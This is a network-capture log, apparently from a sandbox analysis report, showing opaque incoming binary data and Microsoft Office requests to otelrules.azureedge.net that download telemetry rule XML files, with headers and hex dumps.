2024-10-30 14:59:33 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:09 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-16849878b78km6fmmkbenhx76n00000007cg00000000w761 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145932Z-15b8d89586fhl2qtatrz3vfkf00000000ekg0000000004er x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:09 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-16849878b78zqkvcwgr6h55x9n00000007hg00000000s0y1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:10 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor
2024-10-30 14:59:33 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145933Z-16849878b78qfbkc5yywmsbg0c00000007y00000000040kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:09 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d7829477-101e-008d-1890-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145910Z-17c5cb586f62vrfquq10qybcuw000000013g00000000hs3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:10 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:10 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 9e6b2b63-d01e-008e-7443-26387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145911Z-17c5cb586f62blg5ss55p9d6fn000000092g000000006hx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b78g2m84h2v9sta29000000006zg00000000vd96 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:10 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145910Z-16849878b78p8hrf1se7fucxk800000008z000000000t6qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:33 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145933Z-16849878b78g2m84h2v9sta290000000076g000000000mrh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data 